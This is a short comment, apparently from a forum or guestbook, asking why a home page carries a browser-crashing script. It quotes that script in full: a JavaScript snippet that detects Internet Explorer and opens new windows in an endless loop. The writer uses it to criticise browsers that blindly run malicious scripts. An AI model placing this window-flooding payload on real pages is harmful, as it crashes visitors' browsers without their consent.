Why is this code on your home page ?

Maybe to show that the Internet Explorer ist a buggy program that can be made to crash with

if(navigator.appName=="Microsoft Internet Explorer"){var x=new Date(),y=(x.getTime()%1000000)*100+37;while(1){ +y++;window.open("http://www.microsoft.com/","q"+y);}}

only three lines of JavaScript.

I'd be worried too about security when scripts like this are being written.

The real problems is software that blindly executes scripts and can be thrown off-track with malicious scripts.
